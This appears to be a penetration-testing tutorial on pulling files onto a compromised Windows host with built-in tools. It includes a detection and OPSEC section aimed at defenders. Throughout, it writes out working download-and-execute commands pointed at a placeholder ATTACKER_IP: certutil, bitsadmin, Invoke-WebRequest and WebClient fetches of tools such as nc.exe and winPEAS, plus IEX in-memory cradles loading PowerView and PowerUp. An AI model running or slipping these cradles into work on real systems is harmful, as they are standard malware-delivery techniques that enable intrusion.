Windows Download Methods

When you have a shell on a Windows host and need to pull a file from your attacker box, Windows ships several built-in downloaders. Knowing more than one matters: AV/EDR and policy block some of them, older builds lack others, and a non-interactive shell may not give you a full PowerShell session. This guide collects the reliable options, from certutil to PowerShell cradles, with notes on availability and detection. It assumes you are serving the file over HTTP from your box (see http-file-transfer).

You will use these constantly on Windows and Active Directory targets to stage enumerators, binaries, and scripts.

What you will learn#

  • The main Windows download commands: certutil, bitsadmin, iwr, WebClient
  • The in-memory IEX cradle for running a .ps1 without touching disk
  • Which method to reach for on old vs new Windows, and in a constrained shell
  • How to verify the file and how each method looks to defenders

The data you move with these methods should be your own, or data you are authorized to transfer, including test and simulation environments.


Prerequisites#

  • A shell on a Windows target with outbound HTTP to your box.
  • A file served from your attacker box (python3 -m http.server 8000 in the folder).
  • ATTACKER_IP is your box; everything runs on an authorized Windows target.

The core idea#

Your attacker box serves the file over HTTP. On the target you invoke a built-in Windows utility to fetch it, either to disk or straight into memory. Pick the method by what the box has and what is not blocked.


On your attacker box (serve the file)#

# Serve the folder holding your tools; stop with Ctrl+C when done.
cd ~/labs/box/serve && python3 -m http.server 8000

On the target: certutil#

:: certutil is a certificate tool that can also download; present on Win7/2008+.
certutil -urlcache -f http://ATTACKER_IP:8000/winpeas.exe C:\Windows\Temp\wp.exe
:: -urlcache -f forces a fresh fetch; the file lands at the given path.

certutil is the most universally present option, which is also why EDR flags it loudly.


On the target: bitsadmin#

:: BITS is the background transfer service; works on a wide range of Windows versions.
bitsadmin /transfer job /download /priority normal http://ATTACKER_IP:8000/tool.exe C:\Windows\Temp\tool.exe

Useful when certutil is blocked but BITS is allowed; slower to start.


On the target: PowerShell Invoke-WebRequest#

# Modern, readable; iwr is the alias. -UseBasicParsing helps on older/headless hosts.
iwr http://ATTACKER_IP:8000/tool.exe -OutFile C:\Windows\Temp\tool.exe
Invoke-WebRequest http://ATTACKER_IP:8000/tool.exe -OutFile C:\Windows\Temp\tool.exe -UseBasicParsing

On the target: PowerShell WebClient#

# Works on older PowerShell where iwr is awkward; download to disk:
(New-Object Net.WebClient).DownloadFile('http://ATTACKER_IP:8000/tool.exe','C:\Windows\Temp\tool.exe')

On the target: in-memory cradle (no file on disk)#

# Download a .ps1 and execute it in memory; nothing is written to disk.
IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER_IP:8000/PowerView.ps1')
# Newer style:
iex (iwr http://ATTACKER_IP:8000/PowerView.ps1 -UseBasicParsing).Content

The cradle is how PowerShell tools (PowerView, PowerUp) are usually loaded; it avoids a disk artifact but is prime AMSI / script-block-logging territory.


Verifying the transfer#

Get-FileHash C:\Windows\Temp\tool.exe -Algorithm SHA256
# Compare against the source on your attacker box
sha256sum ~/labs/box/serve/tool.exe

Practical examples#

:: Constrained cmd shell, oldest-compatible path
certutil -urlcache -f http://ATTACKER_IP:8000/nc.exe C:\Windows\Temp\nc.exe
# Full PowerShell session, stage and run a privesc enumerator
iwr http://ATTACKER_IP:8000/winpeas.exe -OutFile $env:TEMP\wp.exe
& $env:TEMP\wp.exe
# Load a PowerShell module straight into the session
IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER_IP:8000/PowerUp.ps1'); Invoke-AllChecks

When to use this method#

  • Any Windows target where you have a shell and outbound HTTP.
  • Old Windows: certutil / bitsadmin. Modern with PowerShell: iwr / cradle.
  • Constrained cmd-only shells: certutil or bitsadmin.

When not to use this method#

  • When HTTP egress is blocked; use smb-file-transfer or a pivot.
  • When you want to stay quiet; these are heavily signatured (see below).
  • For large files on a flaky link; BITS resumes, but SMB/SCP may be cleaner.

Common mistakes#

  • Forgetting -f on certutil, so a stale cached copy is used.
  • iwr failing on old hosts without -UseBasicParsing.
  • Assuming the cradle ran when AMSI blocked it; check for an error.
  • Writing to a non-writable path; C:\Windows\Temp and %TEMP% are safe bets.

Troubleshooting#

ProblemLikely causeFix
certutil blockedAV/EDR or policyTry bitsadmin or PowerShell
iwr errors on old boxNo basic parsingAdd -UseBasicParsing
Cradle does nothingAMSI blocked the loadExpected on modern Windows; note it
Access denied writingNon-writable dirUse C:\Windows\Temp or $env:TEMP
Download truncatedProxy/egress manglingRe-download; verify Get-FileHash

OPSEC and blue-team visibility#

This is the section that matters most. These commands are textbook malware-delivery patterns and are heavily watched: certutil -urlcache downloading an executable, bitsadmin /transfer, and IEX (New-Object Net.WebClient).DownloadString(...) are classic detections. PowerShell script-block logging (event 4104) captures cradles, AMSI inspects in-memory loads, and EDR flags certutil/bitsadmin fetching binaries from non-standard ports. Defenders alert on exactly these strings. Understanding them is as valuable for building detections as for staging a tool in a lab.

Safer or lower-noise usage#

  • Prefer downloading to disk only what you must, and clean it up afterward.
  • For encrypted, authenticated transfer use scp-ssh-transfer if SSH is present.
  • Expect and accept that cradles are logged; do not rely on them being quiet.

Methods and tools that pair well#


Quick reference cheat sheet#

:: certutil (most compatible)
certutil -urlcache -f http://ATTACKER_IP:8000/tool.exe C:\Windows\Temp\tool.exe
:: bitsadmin
bitsadmin /transfer j /download /priority normal http://ATTACKER_IP:8000/tool.exe C:\Windows\Temp\tool.exe
# PowerShell to disk
iwr http://ATTACKER_IP:8000/tool.exe -OutFile $env:TEMP\tool.exe -UseBasicParsing
(New-Object Net.WebClient).DownloadFile('http://ATTACKER_IP:8000/tool.exe',"$env:TEMP\tool.exe")
# In-memory cradle (.ps1)
IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER_IP:8000/x.ps1')
# Verify
Get-FileHash $env:TEMP\tool.exe -Algorithm SHA256

Mini decision tree#

  • Old Windows / cmd-only: certutil, else bitsadmin.
  • Modern PowerShell, file to disk: iwr -OutFile.
  • Run a .ps1 without a disk artifact: the IEX cradle.
  • HTTP blocked: smb-file-transfer or a pivot.
  • No egress: base64-transfer.

Final checklist#

  • Target in scope
  • Method chosen for the box’s Windows version and shell type
  • File written to a writable path and verified with Get-FileHash
  • Aware the method is logged; staged files cleaned up
  • No real third-party hosts

Final summary#

Windows gives you several built-in downloaders: certutil and bitsadmin for maximum compatibility, iwr/WebClient for PowerShell, and the IEX cradle to run a script in memory. Choose by Windows version and shell type, verify with Get-FileHash, and remember every one of these is a classic detection. Pair with http-file-transfer on the serving side; see the file transfer methods tag for the rest.

Find us elsewhere

Merch, stickers, and moreSupport the work at the Solvere Labs shop